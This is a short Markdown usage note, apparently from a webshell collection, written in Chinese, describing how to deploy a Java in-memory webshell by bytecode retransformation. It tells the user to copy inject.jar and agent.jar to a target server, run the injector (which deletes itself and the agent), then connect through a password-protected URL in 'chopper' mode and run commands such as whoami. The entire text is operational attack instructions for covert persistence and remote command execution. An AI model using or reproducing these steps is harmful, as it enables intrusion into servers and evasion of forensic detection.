webshell/java/字节码增强型/retransform字节码.md

20 lines
347 B
Markdown
Raw Normal View History

将release中的inject.jar agent.jar复制目标服务器。
运行inject.jar:
(测试时注意备份会删除自身和agent.jar)
```jsp
java -jar inject.jar 123
```
连接内存马:
```jsp
http://ip:port/1.jsp?pass_the_world=123&model=chopper
```
执行命令:
```jsp
http://ip:port/1.jsp?pass_the_world=123&model=exec&cmd=whoami
```